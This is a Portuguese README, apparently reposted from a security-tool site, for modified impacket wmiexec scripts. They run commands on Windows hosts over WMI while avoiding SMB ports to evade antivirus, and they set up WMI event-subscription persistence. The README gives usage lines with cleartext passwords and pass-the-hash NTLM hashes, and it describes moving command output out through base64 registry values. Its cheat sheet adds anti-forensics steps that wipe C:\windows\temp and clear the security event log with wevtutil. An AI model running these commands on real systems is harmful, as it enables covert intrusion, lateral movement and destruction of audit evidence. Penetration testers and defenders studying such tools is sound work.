No wmiexec.py original, ele obtém resposta da conexão smb (portas 445,139). Infelizmente, alguns antivírus estão monitorando essas portas como alto risco.
Neste caso, eu removi a função de conexão smb e usei outros métodos para executar comandos.

• wmiexec-reg-sch-UnderNT6-wip.py: Comando executado usando a classe win32-scheduledjob. De acordo com xiangshan, a classe win32-scheduledjob funciona apenas no Windows NT6 (Windows Server 2003).
  A propósito, win32_scheduledjob foi desabilitado por padrão após o Windows NT6. Aqui está a maneira de habilitá-lo:

• wmipersist-wip.py (Altamente recomendado, !!!funciona apenas no impacket v0.9.24!!!): Uma versão Python do WMIHACKER, do qual peguei o template vbs. O atacante pode usá-lo para movimento lateral seguro sob antivírus em execução.

• wmiexec-regOut.py: Apenas um exemplo simples do método Win32_Process.create.

Como funciona?

• Fluxo de trabalho do wmiexec-wip.py:

  Passo 1:

  • WMIC autenticado remotamente

  Passo 2:

  • Use a classe win32process e chame o método create para executar o comando. Em seguida, escreva o resultado no diretório C:\windows\temp nomeado como [uuid].txt

  Passo 3:

  • Codifique o conteúdo do arquivo em strings base64 (é necessário aguardar alguns segundos)

  Passo 4:

  • Adicione a string base64 convertida ao registro, e o nome da chave chame [uuid]

  Passo 5:

  • Obtenha as strings base64 remotamente e decodifique-as localmente.

• Fluxo de trabalho do wmipersist-wip.py:

  Passo 1:

  • Adicione script vbs personalizado à classe ActiveScriptEventConsumer.

  Passo 2:

  • Crie um filtro de evento.

  Passo 3:

  • Acione a classe FilterToConsumerBinding para PWNED!

Requisitos

Geralmente, você só precisa instalar o impacket oficial.

• Portal

Uso

• Uso do wmiexec-wip.py:

  Com senha em texto claro

  root@kitploit:~

  python3 wmiexec-reg.py administrator:[email protected] 'whoami'
  

  

  Com hashes NTLM

  root@kitploit:~

  python3 wmiexec-reg.py -hashes e91d2eafde47de62c6c49a012b3a6af1:e91d2eafde47de62c6c49a012b3a6af1 [email protected] 'whoami'
  

  

• Uso do wmipersist-wip.py (Padrão é sem saída):

  Com senha em texto claro (sem saída)

  root@kitploit:~

  python3 wmipersist-wip.py administrator:[email protected] 'command'
  

  

  Com hashes NTLM

  root@kitploit:~

  python3 wmipersist-wip.py -hashes e91d2eafde47de62c6c49a012b3a6af1:e91d2eafde47de62c6c49a012b3a6af1 [email protected] 'whoami'
  

  

  Com saída

  root@kitploit:~

  python3 wmipersist-wip.py administrator:[email protected] "whoami /priv" -with-output
  python3 wmipersist-wip.py [email protected] "whoami /priv" -hashes e91d2eafde47de62c6c49a012b3a6af1:e91d2eafde47de62c6c49a012b3a6af1 -with-output
  

  

  Sob o antivírus Huorong (Usando o template VBS do WMIHACKER!!!)

Folha de Dicas

• Não se esqueça de limpar o diretório temporário após executar o comando com saída.
  Comando: del /q /f /s C:\windows\temp\*
  

• Comando inclui aspas duplas.
  Coloque aspas duplas dentro de aspas simples wevtutil cl '"security"'
  

A Fazer

• Nova versão do toolkit wmi, em breve :)

Referências

• https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
• https://github.com/360-Linton-Lab/WMIHACKER
• https://github.com/FortyNorthSecurity/WMIOps
• https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/operating-system-classes